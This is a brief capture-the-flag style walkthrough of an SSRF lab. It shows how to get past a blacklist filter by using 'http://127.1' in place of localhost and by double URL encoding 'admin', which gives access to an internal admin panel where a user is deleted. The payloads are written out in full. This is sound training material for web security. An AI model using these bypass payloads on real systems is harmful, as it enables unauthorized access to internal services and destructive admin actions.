SSRF with blacklist-based input filter

Let's check out the stock.

We can intercept the request using Burpsuite.

Let's send the request to the Repeater.

We can set the stockApi field to the following and send the request:

http://localhost/admin

So that request is blocked.

Let's send the following request:

http://127.1/

Ah! That returns a valid response.

Let's try visiting the /admin page.

http://127.1/admin

Looks like the admin keyword is being pattern-matched and blocked.

We can get around it by double URL encoding the string.

Let's now send the following request:

http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

We can now delete the carlos user.

http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos

We have solved the lab.